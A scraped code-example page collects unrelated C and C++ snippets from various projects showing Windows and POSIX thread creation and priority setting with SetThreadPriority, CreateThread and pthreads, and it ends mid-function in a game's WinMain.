      for(i=0; i<5; i++)   // 產生 5 個 threads
          _hThread[i] = CreateThread(NULL,
                                    0,
                                    (LPTHREAD_START_ROUTINE)ThreadProc,
                                    &ThreadArg[i],
                                    CREATE_SUSPENDED,
                                    &ThreadID[i]);
      // 設定 thread priorities
      SetThreadPriority(_hThread[0], THREAD_PRIORITY_HIGHEST);
      SetThreadPriority(_hThread[1], THREAD_PRIORITY_ABOVE_NORMAL);
      SetThreadPriority(_hThread[2], THREAD_PRIORITY_NORMAL);
      SetThreadPriority(_hThread[3], THREAD_PRIORITY_BELOW_NORMAL);
      SetThreadPriority(_hThread[4], THREAD_PRIORITY_LOWEST);
      return (0);

   case WM_COMMAND:
      switch (LOWORD(wParam))
      {
         case IDM_RESUME:       // 讓 threads 開始執行
            EnableMenuItem(hMenu, IDM_RESUME, MF_BYCOMMAND | MF_GRAYED);
            EnableMenuItem(hMenu, IDM_SUSPEND, MF_BYCOMMAND | MF_ENABLED);
            DrawMenuBar(hWnd);
            for (i=0; i<5; i++)
                ResumeThread(_hThread[i]);   // 啟動 threads 的執行
            return (0);

         case IDM_SUSPEND:  // 暫停 threads 的執行
            for (i=0; i<5; i++)
                SuspendThread(_hThread[i]);   // 暫停 threads 的執行
            EnableMenuItem(hMenu, IDM_SUSPEND, MF_BYCOMMAND | MF_GRAYED);
            EnableMenuItem(hMenu, IDM_RESUME, MF_BYCOMMAND | MF_ENABLED);
            DrawMenuBar(hWnd);
            return (0);

         case IDM_FOR:    // 以 for loop 延遲 thread 的執行
            _uDelayType = FORLOOPDELAY;
            EnableMenuItem(hMenu, IDM_FOR, MF_BYCOMMAND | MF_GRAYED);
            EnableMenuItem(hMenu, IDM_SLEEP, MF_BYCOMMAND | MF_ENABLED);
            EnableMenuItem(hMenu, IDM_NODELAY, MF_BYCOMMAND | MF_ENABLED);
            DrawMenuBar(hWnd);
            return (0);

         case IDM_SLEEP:  // 以 Sleep() 延遲 thread 的執行
            _uDelayType = SLEEPDELAY;
            EnableMenuItem(hMenu, IDM_SLEEP, MF_BYCOMMAND | MF_GRAYED);
            EnableMenuItem(hMenu, IDM_FOR, MF_BYCOMMAND | MF_ENABLED);
            EnableMenuItem(hMenu, IDM_NODELAY, MF_BYCOMMAND | MF_ENABLED);
            DrawMenuBar(hWnd);
            return (0);

         case IDM_NODELAY:  // 不延遲 thread 的執行
            _uDelayType = NODELAY;
            EnableMenuItem(hMenu, IDM_NODELAY, MF_BYCOMMAND | MF_GRAYED);
            EnableMenuItem(hMenu, IDM_FOR, MF_BYCOMMAND | MF_ENABLED);
            EnableMenuItem(hMenu, IDM_SLEEP, MF_BYCOMMAND | MF_ENABLED);
            DrawMenuBar(hWnd);
            return (0);

         default:
            return (0);
      }

   case WM_DESTROY :
      for(i=0; i<5; i++)
          TerminateThread(_hThread[i], 0);   // 終止 threads
      PostQuitMessage (0);
      return (0);

   default:
      return DefWindowProc (hWnd, message, wParam, lParam);
   }
   return (0L);
}
Пример #19
0
/**
 * \brief 쓰레드를 시작
 *
 * \param priority 우선순위
 *
 * \return 0:ok, -1:error
 */
int Thread::start(Priority priority/*=InheritPriority*/)
{
	setPriority(priority);

	d->stop = false;
#ifndef WIN32

	pthread_attr_t attr;
	pthread_attr_init(&attr);

	//does not work pthread_join with PTHRAD_CREATE_DETACHED
	//pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_DETACHED);

	if (d->priority == InheritPriority)
	{
		pthread_attr_setinheritsched(&attr, PTHREAD_INHERIT_SCHED);
	}
	else
	{
		int prio;
		int schedPolicy;
		if (pthread_attr_getschedpolicy(&attr, &schedPolicy) == 0) 
		{
			int prioMin = sched_get_priority_min(schedPolicy);
			int prioMax = sched_get_priority_max(schedPolicy);
			if (prioMin != -1 && prioMax != -1) 
			{
				if (d->priority == IdlePriority) prio = prioMin;
				else if (d->priority == TimeCriticalPriority) prio = prioMax;
				else
				{
					prio = (((prioMax - prioMin) / TimeCriticalPriority) * 
						d->priority) + prioMin;
					prio = std::max(prioMin, std::min(prioMax, prio));
				}

				sched_param sp;
				sp.sched_priority = prio;

				if (pthread_attr_setinheritsched(&attr, 
					PTHREAD_EXPLICIT_SCHED) != 0
					|| pthread_attr_setschedpolicy(&attr, schedPolicy) != 0
					|| pthread_attr_setschedparam(&attr, &sp) != 0) 
				{
					pthread_attr_setinheritsched(&attr, PTHREAD_INHERIT_SCHED);
				}

			} //if (prioMin != -1 && prioMax != -1) 

		} //if (pthread_attr_getschedpolicy(&attr, &schedPolicy) == 0) 
	}

	int n = ::pthread_create(&d->handle, &attr, Thread::run2, this);
	if (n == EPERM)
	{
		// permission error
		pthread_attr_setinheritsched(&attr, PTHREAD_INHERIT_SCHED);
		n = pthread_create(&d->handle, &attr, Thread::run2, this);
	}

	pthread_attr_destroy(&attr);

	if (n)
	{
		return -1;
	}
#else
	unsigned int thrdAddr = 0;
	d->handle = (HANDLE)_beginthreadex(NULL,0,Thread::run2,this,0,&thrdAddr);
	if (d->handle == 0) return -1;
	SetThreadPriority(d->handle,THREAD_PRIORITY_BELOW_NORMAL);
#endif
	
	return 0;
}
Пример #20
0
zactor_t *
zactor_new (zactor_fn *actor, void *args)
{
    zactor_t *self = (zactor_t *) zmalloc (sizeof (zactor_t));
    if (!self)
        return NULL;
    self->tag = ZACTOR_TAG;

    shim_t *shim = (shim_t *) zmalloc (sizeof (shim_t));
    if (!shim) {
        zactor_destroy (&self);
        return NULL;
    }

    //  Create front-to-back pipe pair
    self->pipe = zsock_new (ZMQ_PAIR);
    assert (self->pipe);
    shim->pipe = zsock_new (ZMQ_PAIR);
    assert (shim->pipe);
#if (ZMQ_VERSION_MAJOR == 2)
    zsock_set_hwm (self->pipe, zsys_pipehwm ());
    zsock_set_hwm (shim->pipe, zsys_pipehwm ());
#else
    zsock_set_sndhwm (self->pipe, (int) zsys_pipehwm ());
    zsock_set_sndhwm (shim->pipe, (int) zsys_pipehwm ());
#endif
    //  Now bind and connect pipe ends
    char endpoint [32];
    while (true) {
        sprintf (endpoint, "inproc://zactor-%04x-%04x\n",
                 randof (0x10000), randof (0x10000));
        if (zsock_bind (self->pipe, "%s", endpoint) == 0)
            break;
    }
    int rc = zsock_connect (shim->pipe, "%s", endpoint);
    assert (rc != -1);

    shim->handler = actor;
    shim->args = args;

#if defined (__UNIX__)
    pthread_t thread;
    pthread_create (&thread, NULL, s_thread_shim, shim);
    pthread_detach (thread);

#elif defined (__WINDOWS__)
    HANDLE handle = (HANDLE) _beginthreadex (
        NULL,                   //  Handle is private to this process
        0,                      //  Use a default stack size for new thread
        &s_thread_shim,         //  Start real thread function via this shim
        shim,                   //  Which gets arguments shim
        CREATE_SUSPENDED,       //  Set thread priority before starting it
        NULL);                  //  We don't use the thread ID
    assert (handle);

    //  Set child thread priority to same as current
    int priority = GetThreadPriority (GetCurrentThread ());
    SetThreadPriority (handle, priority);

    //  Start thread & release resources
    ResumeThread (handle);
    CloseHandle (handle);
#endif

    //  Mandatory handshake for new actor so that constructor returns only
    //  when actor has also initialized. This eliminates timing issues at
    //  application start up.
    zsock_wait (self->pipe);
    return self;
}
Пример #21
0
int __cdecl main (int argc, char **argv) 
{
    HANDLE hThread;
    DWORD dwThreadId;
    DWORD dwRet;

    if(0 != (PAL_Initialize(argc, argv)))
    {
        return (bTestResult);
    }
    
    /*
     * Create critical section object and enter it
     */
    InitializeCriticalSection ( &CriticalSection );
    EnterCriticalSection(&CriticalSection);

    /*
     * Create a suspended thread 
     */
    hThread = CreateThread(NULL,
                           0,
                           &Thread,
                           (LPVOID) NULL,
                           CREATE_SUSPENDED,
                           &dwThreadId);

    if (hThread == NULL)
    {
        Trace("PALSUITE ERROR: CreateThread call failed.  GetLastError "
             "returned %d.\n", GetLastError());
        LeaveCriticalSection(&CriticalSection);
        DeleteCriticalSection(&CriticalSection);
        Fail("");
    }

    EnterCriticalSection(&CriticalSection);
    /* 
     * Set priority of the thread to greater than that of the currently
     * running thread so it is guaranteed to run.
     */
    dwRet = (DWORD) SetThreadPriority(hThread, THREAD_PRIORITY_ABOVE_NORMAL);

    if (0 == dwRet)
    {
        Trace("PALSUITE ERROR: SetThreadPriority (%p, %d) call failed.\n"
             "GetLastError returned %d.\n", hThread, 
             THREAD_PRIORITY_NORMAL, GetLastError());
    LeaveCriticalSection(&CriticalSection);
        CloseHandle(hThread);
        DeleteCriticalSection(&CriticalSection);
        Fail("");
    }

    dwRet = ResumeThread(hThread);
     
    if (-1 == dwRet)
    {
        Trace("PALSUITE ERROR: ResumeThread(%p) call failed.\nGetLastError "
             "returned %d.\n", hThread, GetLastError());
        LeaveCriticalSection(&CriticalSection);
        CloseHandle(hThread);
        DeleteCriticalSection(&CriticalSection);
        Fail("");
    }
    /* 
     * Sleep until we know the thread has been invoked.  This sleep in 
     * combination with the higher priority of the other thread should 
     * guarantee both threads block on the critical section.
     */
    while (t1_aflag == FAIL)
    {
        Sleep(1);
    }

    LeaveCriticalSection(&CriticalSection);

    switch ((WaitForSingleObject(
        hThread,
        10000)))      /* Wait 10 seconds */
    {
    case WAIT_OBJECT_0: 
        /* Object (thread) is signaled */
        LeaveCriticalSection(&CriticalSection);
        CloseHandle(hThread);
        DeleteCriticalSection(&CriticalSection);
        Fail("PALSUITE ERROR: WaitForSingleObject(%p,%d) should have "
             "returned\nWAIT_TIMEOUT ('%d'), instead it returned "
             "WAIT_OBJECT_0 ('%d').\nA nested LeaveCriticalSection(%p) "
             "call released both threads that were waiting on it!\n", 
             hThread, 10000, WAIT_TIMEOUT, WAIT_OBJECT_0, &CriticalSection);
        break;
    case WAIT_ABANDONED: 
        /*
         * Object was mutex object whose owning
         * thread has terminated.  Shouldn't occur.
         */
        Trace("PALSUITE ERROR: WaitForSingleObject(%p,%d) should have "
             "returned\nWAIT_TIMEOUT ('%d'), instead it returned "
             "WAIT_ABANDONED ('%d').\nGetLastError returned '%d'\n", 
             hThread, 10000, WAIT_TIMEOUT, WAIT_ABANDONED, GetLastError());
        LeaveCriticalSection(&CriticalSection);
        CloseHandle(hThread);
        DeleteCriticalSection(&CriticalSection);
        Fail("");
        break;
    case WAIT_FAILED:    /* WaitForSingleObject function failed */
        Trace("PALSUITE ERROR: WaitForSingleObject(%p,%d) should have "
             "returned\nWAIT_TIMEOUT ('%d'), instead it returned "
             "WAIT_FAILED ('%d').\nGetLastError returned '%d'\n", 
             hThread, 10000, WAIT_TIMEOUT, WAIT_FAILED, GetLastError());
        LeaveCriticalSection(&CriticalSection);
        CloseHandle(hThread);
        DeleteCriticalSection(&CriticalSection);
        Fail("");
        break;
    case WAIT_TIMEOUT: 
        /* 
         * We expect this thread to timeout waiting for the 
         * critical section object to become available.
         */
        t0_tflag = PASS;
        break;  
    }

    LeaveCriticalSection(&CriticalSection);

    if (WAIT_OBJECT_0 != WaitForSingleObject (hThread, 10000)) 
    {
        if (0 == CloseHandle(hThread))
        {
            Trace("PALSUITE ERROR: CloseHandle(%p) call failed.\n"
                 "WaitForSingleObject(%p,%d) should have returned "
                 "WAIT_OBJECT_0 ('%d').\nBoth calls failed.  "
                 "Deleted CRITICAL_SECTION object which likely means\n"
                 "thread %p is now in an undefined state.  GetLastError "
                 "returned '%d'.\n", hThread, hThread, 10000, WAIT_OBJECT_0, 
                 hThread, GetLastError());
            DeleteCriticalSection(&CriticalSection);
            Fail("");
        }
        else 
        {
            Trace("PALSUITE ERROR: WaitForSingleObject(%p,%d) should have "
                 "returned WAIT_OBJECT_0 ('%d').\n  GetLastError returned "
                 "'%d'.\n", hThread, hThread, 10000, WAIT_OBJECT_0, 
                 hThread, GetLastError());
            DeleteCriticalSection(&CriticalSection);
            Fail("");
        }
    }    

    if (0 == CloseHandle(hThread))
    {
        Trace("PALSUITE ERROR: CloseHandle(%p) call failed.\n"
             "Deleted CRITICAL_SECTION object which likely means\n"
             "thread %p is now in an undefined state.  GetLastError "
             "returned '%d'.\n", hThread, hThread, GetLastError());
        DeleteCriticalSection(&CriticalSection);
        Fail("");

    }
    DeleteCriticalSection(&CriticalSection);
    /* 
     * Ensure both thread 0 experienced a wait timeout and thread 1 
     * accessed the critical section or fail the test, otherwise pass it.
     */
    if ((t0_tflag == FAIL) || (t1_cflag == FAIL))
    {
        Trace("PALSUITE ERROR: Thread 0 returned %d when %d was expected.\n"
              "Thread 1 returned %d when %d was expected.\n", t0_tflag, 
              PASS, t1_cflag, PASS); 
        bTestResult=FAIL;
    }
    else 
    {
        bTestResult=PASS;
    }
    
    PAL_TerminateEx(bTestResult);
    return (bTestResult);
}
Пример #22
0
	s32 Init()
	{
		CoInitializeEx( NULL, COINIT_MULTITHREADED );

		//
		// Initialize DSound
		//
		GUID cGuid;

		try
		{
			if( m_Device.empty() )
				throw std::runtime_error( "screw it" );

			// Convert from unicode to ANSI:
			char guid[256];
			sprintf_s( guid, "%S", m_Device.c_str() );

			if( (FAILED(GUIDFromString( guid, &cGuid ))) ||
				FAILED( DirectSoundCreate8(&cGuid,&dsound,NULL) ) )
					throw std::runtime_error( "try again?" );
		}
		catch( std::runtime_error& )
		{
			// if the GUID failed, just open up the default dsound driver:
			if( FAILED(DirectSoundCreate8(NULL,&dsound,NULL) ) )
				throw std::runtime_error( "DirectSound failed to initialize!" );
		}

		if( FAILED(dsound->SetCooperativeLevel(GetDesktopWindow(),DSSCL_PRIORITY)) )
			throw std::runtime_error( "DirectSound Error: Cooperative level could not be set." );

		// Determine the user's speaker configuration, and select an expansion option as needed.
		// FAIL : Directsound doesn't appear to support audio expansion >_<

		DWORD speakerConfig = 2;
		//dsound->GetSpeakerConfig( &speakerConfig );

		IDirectSoundBuffer* buffer_;
 		DSBUFFERDESC desc;

		// Set up WAV format structure.

		memset(&wfx, 0, sizeof(WAVEFORMATEX));
		wfx.wFormatTag		= WAVE_FORMAT_PCM;
		wfx.nSamplesPerSec	= SampleRate;
		wfx.nChannels		= (WORD)speakerConfig;
		wfx.wBitsPerSample	= 16;
		wfx.nBlockAlign		= 2*(WORD)speakerConfig;
		wfx.nAvgBytesPerSec	= SampleRate * wfx.nBlockAlign;
		wfx.cbSize			= 0;

		uint BufferSizeBytes = BufferSize * wfx.nBlockAlign;

		// Set up DSBUFFERDESC structure.

		memset(&desc, 0, sizeof(DSBUFFERDESC));
		desc.dwSize = sizeof(DSBUFFERDESC);
		desc.dwFlags =  DSBCAPS_GETCURRENTPOSITION2 | DSBCAPS_CTRLPOSITIONNOTIFY;
		desc.dwBufferBytes = BufferSizeBytes * m_NumBuffers;
		desc.lpwfxFormat = &wfx;

		// Try a hardware buffer first, and then fall back on a software buffer if
		// that one fails.

		desc.dwFlags |= m_UseHardware ? DSBCAPS_LOCHARDWARE : DSBCAPS_LOCSOFTWARE;
		desc.dwFlags |= m_DisableGlobalFocus ? DSBCAPS_STICKYFOCUS : DSBCAPS_GLOBALFOCUS;

		if( FAILED(dsound->CreateSoundBuffer(&desc, &buffer_, 0) ) )
		{
			if( m_UseHardware )
			{
				desc.dwFlags = DSBCAPS_GETCURRENTPOSITION2 | DSBCAPS_CTRLPOSITIONNOTIFY | DSBCAPS_LOCSOFTWARE;
				desc.dwFlags |= m_DisableGlobalFocus ? DSBCAPS_STICKYFOCUS : DSBCAPS_GLOBALFOCUS;

				if( FAILED(dsound->CreateSoundBuffer(&desc, &buffer_, 0) ) )
					throw std::runtime_error( "DirectSound Error: Buffer could not be created." );
			}

			throw std::runtime_error( "DirectSound Error: Buffer could not be created." );
		}
		if(	FAILED(buffer_->QueryInterface(IID_IDirectSoundBuffer8,(void**)&buffer)) || buffer == NULL )
			throw std::runtime_error( "DirectSound Error: Interface could not be queried." );

		buffer_->Release();
		verifyc( buffer->QueryInterface(IID_IDirectSoundNotify8,(void**)&buffer_notify) );

		DSBPOSITIONNOTIFY not[MAX_BUFFER_COUNT];

		for(uint i=0;i<m_NumBuffers;i++)
		{
			buffer_events[i] = CreateEvent(NULL,FALSE,FALSE,NULL);
			not[i].dwOffset = (wfx.nBlockAlign + BufferSizeBytes*(i+1)) % desc.dwBufferBytes;
			not[i].hEventNotify = buffer_events[i];
		}

		buffer_notify->SetNotificationPositions(m_NumBuffers,not);

		LPVOID p1=0,p2=0;
		DWORD s1=0,s2=0;

		verifyc(buffer->Lock(0,desc.dwBufferBytes,&p1,&s1,&p2,&s2,0));
		assert(p2==0);
		memset(p1,0,s1);
		verifyc(buffer->Unlock(p1,s1,p2,s2));

		//Play the buffer !
		verifyc(buffer->Play(0,0,DSBPLAY_LOOPING));

		// Start Thread
		myLastWrite = 0;
		dsound_running = true;
		thread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)RThread<StereoOut16>,this,0,&tid);
		SetThreadPriority(thread,THREAD_PRIORITY_ABOVE_NORMAL);

		return 0;
	}
Пример #23
0
DWORD ctrlTrainThreadFunc( LPVOID param )
{
    SYSTEM_INFO sysInfo;
    int numProc;
    int i;
    DWORD dwTrainThread[32];
    HANDLE hTrainThread[32];
    TrainThreadParams thrParams[32];
    DWORD affMask = 0;
    POSITION pos;
    CPerson* person;
    
    InitializeCriticalSection( &g_critSect );
    g_hevtWakeUpControlThread = CreateEvent( 0, true, false, "WakeUpCtrlTrainThread" );

    GetSystemInfo( &sysInfo );
    numProc = sysInfo.dwNumberOfProcessors;

    numProc = 32;

    if( numProc > 32 ) {
        CloseHandle( g_hevtWakeUpControlThread );
        DeleteCriticalSection( &g_critSect );
        hCtrlTrainThread = 0;
        return 0;
    }

    trainParam.frame->DisableItemsForTrain();


    if( numProc == 1 )
    {
        // Single processor code
        CHMMDemoDoc* doc = ( (StartTrainParams*)param )->doc;
        if( !doc )
            return 0;
        CFaceBase& base = doc->GetFaceBase();
        base.TrainAll( ( (StartTrainParams*)param )->flag );
    }
    else {
        // Multiple processor code
        CHMMDemoDoc* doc = ( (StartTrainParams*)param )->doc;
        if( !doc )
            ExitThread(0);
        CFaceBase& base = doc->GetFaceBase();

        affMask = 0;
        for( i = 0; i < numProc; i ++ )
        {
            affMask |= ( 1 << i );
        }
        for( i = 0; i < numProc; i ++ )
        {
            thrParams[i].threadNum = i;
            thrParams[i].working = true;
            hTrainThread[i] = CreateThread( NULL, 0, (LPTHREAD_START_ROUTINE)trainFunc, &(thrParams[i]), CREATE_SUSPENDED, &(dwTrainThread[i]) );
            thrParams[i].hThread = hTrainThread[i];
            thrParams[i].doNext = false;
            PRIOR SetThreadPriority( hTrainThread[i], THREAD_PRIORITY_BELOW_NORMAL );
            //SetThreadAffinityMask( hTrainThread[i], affMask );
            //SetThreadIdealProcessor( hTrainThread[i], (DWORD)i );
        }

        thrFinishWork = NONE_FINISH_WORK;
        ResetEvent( g_hevtWakeUpControlThread );
        for( i = 0, pos = base.GetPersonList().GetHeadPosition(); pos; )
        {
            person = base.GetPersonList().GetNext(pos);

            _RPT2( _CRT_WARN, "%s %d\n", "pos = ", (int)pos );

            if( (( (StartTrainParams*)param )->flag == TRAIN_UNTRAINED) && person->IsTrained() ) continue;
        
            EnterCriticalSection( &g_critSect );

                _RPT1( _CRT_WARN, "Giving execute to thread #%d\n", i );

                thrParams[i].person = person;
                thrParams[i].doNext = true;
            LeaveCriticalSection( &g_critSect );

            _RPT1( _CRT_WARN, "Resuming thread #%d\n", i );

            ResumeThread( hTrainThread[i] );
            i ++;
            if( i == numProc ) {
                break;
            }
        }
        if( i != numProc ) {
            while( i > 0 ) {
                WaitForSingleObject( g_hevtWakeUpControlThread, INFINITE );
                CHECK_TRAIN_FOR_BREAK( hTrainThread, thrParams, numProc );

                _RPT1( _CRT_WARN, "Main thread gets last event from thread #%d\n", thrFinishWork );

                EnterCriticalSection( &g_critSect );
                    ResetEvent( g_hevtWakeUpControlThread );
                    thrParams[ thrFinishWork ].doNext = false;

                    _RPT1( _CRT_WARN, "Resuming thread #%d\n", thrFinishWork );

                    ResumeThread( hTrainThread[ thrFinishWork ] );
                    thrFinishWork = NONE_FINISH_WORK;
                    i --;
                LeaveCriticalSection( &g_critSect );
            }
        } // if( i == numProc )
        else {
            i = base.GetPersonList().GetCount() - numProc;
            while( i > 0 ) {
                WaitForSingleObject( g_hevtWakeUpControlThread, INFINITE );
                CHECK_TRAIN_FOR_BREAK( hTrainThread, thrParams, numProc );

                _RPT0( _CRT_WARN, "Main thread gets event\n" );

                EnterCriticalSection( &g_critSect );
                    ResetEvent( g_hevtWakeUpControlThread );
                    person = base.GetPersonList().GetNext(pos);

                    _RPT1( _CRT_WARN, "pos = %d\n", (int)pos );

                    while( pos && person->IsTrained() ) {
                        if( (( (StartTrainParams*)param )->flag != TRAIN_UNTRAINED) ) {
                            person = base.GetPersonList().GetNext(pos);
                            i --;
                        }
                    }
        
                    if( person ) {

                        _RPT1( _CRT_WARN, "Giving execute to thread #%d\n", thrFinishWork );

                        thrParams[ thrFinishWork ].person = person;
                        thrParams[ thrFinishWork ].doNext = true;

                        _RPT1( _CRT_WARN, "Resuming thread #%d\n", thrFinishWork );

                        ResumeThread( hTrainThread[ thrFinishWork ] );
                        thrFinishWork = NONE_FINISH_WORK;
                        i --;
                    }
                LeaveCriticalSection( &g_critSect );

                _RPT1( _CRT_WARN, "i = %d\n", i );

                //WaitForSingleObject( g_hevtWakeUpControlThread, INFINITE );
            } // while( i > 0 )

            for( i = 0; i < numProc; i ++ ) {

                int thrNum;
                DWORD resumeRes;

                WaitForSingleObject( g_hevtWakeUpControlThread, INFINITE );
                CHECK_TRAIN_FOR_BREAK( hTrainThread, thrParams, numProc );

                _RPT1( _CRT_WARN, "Main thread gets last event from thread #%d\n", thrFinishWork );
            
                EnterCriticalSection( &g_critSect );
                    ResetEvent( g_hevtWakeUpControlThread );
                    thrNum = thrFinishWork;
                    thrParams[thrNum].doNext = false;

                    _RPT1( _CRT_WARN, "Resuming thread #%d\n", thrFinishWork );

                    resumeRes = ResumeThread( hTrainThread[thrNum] );
                    thrFinishWork = NONE_FINISH_WORK;
                LeaveCriticalSection( &g_critSect );

                _RPT1( _CRT_WARN, "Waiting for finishing thread #%d\n", thrNum );

                while( !resumeRes ) {
                    resumeRes = ResumeThread( hTrainThread[thrNum] );
                }
                WaitForSingleObject( hTrainThread[thrNum], INFINITE );
            }

        } // if( i == numProc ) else
        for( i = 0; i < numProc; i ++ )
        {
            thrParams[i].doNext = false;
            if( thrParams[i].working == true ) {

                _RPT1( _CRT_WARN, "Resuming thread #%d\n", i );

                while( !ResumeThread( hTrainThread[i] ) && thrParams[i].working == true ) {
                    Sleep(0);
                }

                _RPT1( _CRT_WARN, "Waiting for finishing thread #%d\n", i );

                WaitForSingleObject( hTrainThread[i], INFINITE );
            }
        }
        base.Save();
    } // if( numProc == 1 )


    _RPT0( _CRT_WARN, "Main thread: All is Ok!\n" );

    CloseHandle( g_hevtWakeUpControlThread );
    DeleteCriticalSection( &g_critSect );
    hCtrlTrainThread = 0;
    trainParam.frame->EnableItemsAfterTrain();
    return 0;
} // ctrlTrainThreadFunc
void setHighPriority()
{
	SetThreadPriority(GetCurrentThread(),THREAD_PRIORITY_ABOVE_NORMAL);
	//cout<<"setHighPriority"<<endl;
}
Пример #25
0
int WINAPI
WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
#ifdef _WIN32_WCE
        gcc_unused LPWSTR lpCmdLine,
#else
        gcc_unused LPSTR lpCmdLine2,
#endif
        int nCmdShow)
#endif
{
#ifdef WIN32
  ResourceLoader::Init(hInstance);
#endif

  Net::Initialise();

  InitialiseDataPath();
  StartupLogFreeRamAndStorage();

  // Write startup note + version to logfile
  LogStartUp(_T("Starting XCSoar %s"), XCSoar_ProductToken);

  // Read options from the command line
#ifndef WIN32
  CommandLine::Parse(Args(argc, argv, Usage));
#else
  CommandLine::Parse(Args(GetCommandLine(), Usage));
#endif

  ScreenGlobalInit screen_init;

  // Write initialization note to logfile
  LogStartUp(_T("Initialise application instance"));

#ifdef WIN32
  /* try to make the UI most responsive */
  SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_ABOVE_NORMAL);
#endif

  // Register window classes
#ifdef USE_GDI
  MainWindow::register_class(hInstance);
#endif

  AllowLanguage();

  InitialiseIOThread();

  // Perform application initialization and run loop
  int ret = EXIT_FAILURE;
  if (XCSoarInterface::Startup())
    ret = CommonInterface::main_window->RunEventLoop();

  delete CommonInterface::main_window;

  DeinitialiseIOThread();

  DisallowLanguage();

  Fonts::Deinitialize();

  DeinitialiseDataPath();
  Net::Deinitialise();

  assert(!ExistsAnyThread());

  return ret;
}
Пример #26
0
DWORD WINAPI fluid_dsound_audio_run(LPVOID lpParameter)
{
  fluid_dsound_audio_driver_t* dev = (fluid_dsound_audio_driver_t*) lpParameter;
  short *buf1, *buf2;
  DWORD bytes1, bytes2;
  DWORD cur_position, frames, play_position, write_position, bytes;
  HRESULT res;

  cur_position = 0;

  /* boost the priority of the audio thread */
  SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL);

  IDirectSoundBuffer_Play(dev->sec_buffer, 0, 0, DSBPLAY_LOOPING);

  while (dev->cont) {

    IDirectSoundBuffer_GetCurrentPosition(dev->sec_buffer, &play_position, &write_position);

    if (cur_position <= play_position) {
      bytes = play_position - cur_position;
    } else if ((play_position < cur_position) && (write_position <= cur_position)) {
      bytes = dev->queue_byte_size + play_position - cur_position;
    } else {
      bytes = 0;
    }

    if (bytes >= dev->buffer_byte_size) {

      /* Lock */
      res = IDirectSoundBuffer_Lock(dev->sec_buffer, cur_position, bytes, (void*) &buf1, &bytes1, (void*) &buf2, &bytes2, 0);

      if ((res != DS_OK) || (buf1 == NULL)) {
	FLUID_LOG(FLUID_PANIC, "Failed to lock the audio buffer. System lockup might follow. Exiting.");
	ExitProcess(0);
      }

      /* fill the first part of the buffer */
      if (bytes1 > 0) {
	frames = bytes1 / dev->frame_size;
	dev->write(dev->synth, frames, buf1, 0, 2, buf1, 1, 2);
	cur_position += frames * dev->frame_size;
      }

      /* fill the second part of the buffer */
      if ((buf2 != NULL) && (bytes2 > 0)) {
	frames = bytes2 / dev->frame_size;
	dev->write(dev->synth, frames, buf2, 0, 2, buf2, 1, 2);
	cur_position += frames * dev->frame_size;
      }

      /* Unlock */
      IDirectSoundBuffer_Unlock(dev->sec_buffer, buf1, bytes1, buf2, bytes2);

      if (cur_position >= dev->queue_byte_size) {
	cur_position -= dev->queue_byte_size;
      }

    } else {
      Sleep(1);
    }
  }

  ExitThread(0);
  return 0; /* never reached */
}
Пример #27
0
DWORD CBaseMuxerFilter::ThreadProc()
{
    SetThreadPriority(m_hThread, THREAD_PRIORITY_ABOVE_NORMAL);

    POSITION pos;

    for (;;) {
        DWORD cmd = GetRequest();

        switch (cmd) {
            default:
            case CMD_EXIT:
                CAMThread::m_hThread = nullptr;
                Reply(S_OK);
                return 0;

            case CMD_RUN:
                m_pActivePins.RemoveAll();
                m_pPins.RemoveAll();

                pos = m_pInputs.GetHeadPosition();
                while (pos) {
                    CBaseMuxerInputPin* pPin = m_pInputs.GetNext(pos);
                    if (pPin->IsConnected()) {
                        m_pActivePins.AddTail(pPin);
                        m_pPins.AddTail(pPin);
                    }
                }

                m_rtCurrent = 0;

                Reply(S_OK);

                MuxInit();

                try {
                    MuxHeaderInternal();

                    while (!CheckRequest(nullptr) && m_pActivePins.GetCount()) {
                        if (m_State == State_Paused) {
                            Sleep(10);
                            continue;
                        }

                        CAutoPtr<MuxerPacket> pPacket = GetPacket();
                        if (!pPacket) {
                            Sleep(1);
                            continue;
                        }

                        if (pPacket->IsTimeValid()) {
                            m_rtCurrent = pPacket->rtStart;
                        }

                        if (pPacket->IsEOS()) {
                            m_pActivePins.RemoveAt(m_pActivePins.Find(pPacket->pPin));
                        }

                        MuxPacketInternal(pPacket);
                    }

                    MuxFooterInternal();
                } catch (HRESULT hr) {
                    CComQIPtr<IMediaEventSink>(m_pGraph)->Notify(EC_ERRORABORT, hr, 0);
                }

                m_pOutput->DeliverEndOfStream();

                pos = m_pRawOutputs.GetHeadPosition();
                while (pos) {
                    m_pRawOutputs.GetNext(pos)->DeliverEndOfStream();
                }

                m_pActivePins.RemoveAll();
                m_pPins.RemoveAll();

                break;
        }
    }

    ASSERT(0); // this function should only return via CMD_EXIT

    CAMThread::m_hThread = nullptr;
    return 0;
}
Пример #28
0
INT WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
	char const * class_name = "Pong";
	char const * window_title = "Adolf Hitler Pong";

	WNDCLASSEX window_class;
	window_class.cbSize = sizeof(window_class);
	window_class.style = CS_OWNDC | CS_VREDRAW | CS_HREDRAW;
	window_class.lpfnWndProc = &window_procedure;
	window_class.cbClsExtra = 0;
	window_class.cbWndExtra = 0;
	window_class.hInstance = hInstance;
	window_class.hIcon = LoadIcon(hInstance, MAKEINTRESOURCE(IDI_HITLER));
	window_class.hCursor = LoadCursor(0, IDC_ARROW);
	window_class.hbrBackground = reinterpret_cast<HBRUSH>(GetStockObject(WHITE_BRUSH));
	window_class.lpszMenuName = 0;
	window_class.lpszClassName = class_name;
	window_class.hIconSm = LoadIcon(hInstance, MAKEINTRESOURCE(IDI_HITLER));
	RegisterClassEx(&window_class);

	HWND window_handle = CreateWindowEx(0, class_name, window_title, WS_POPUP | WS_VISIBLE, CW_USEDEFAULT, CW_USEDEFAULT, window_width, window_height, 0, 0, hInstance, 0);
	//SetTimer(window_handle, 0, 1000 / fps, 0);

	std::string arguments(lpCmdLine);
	if(!arguments.empty())
	{
		if(arguments[0] == '"' && arguments.length() >= 2)
		{
			arguments.erase(arguments.begin());
			arguments.erase(arguments.end() - 1);
		}
		bool success = game.load_demo(arguments);
		if(!success)
		{
			MessageBox(window_handle, "Unable to load demo file", "Demo playback error", MB_OK | MB_ICONERROR);
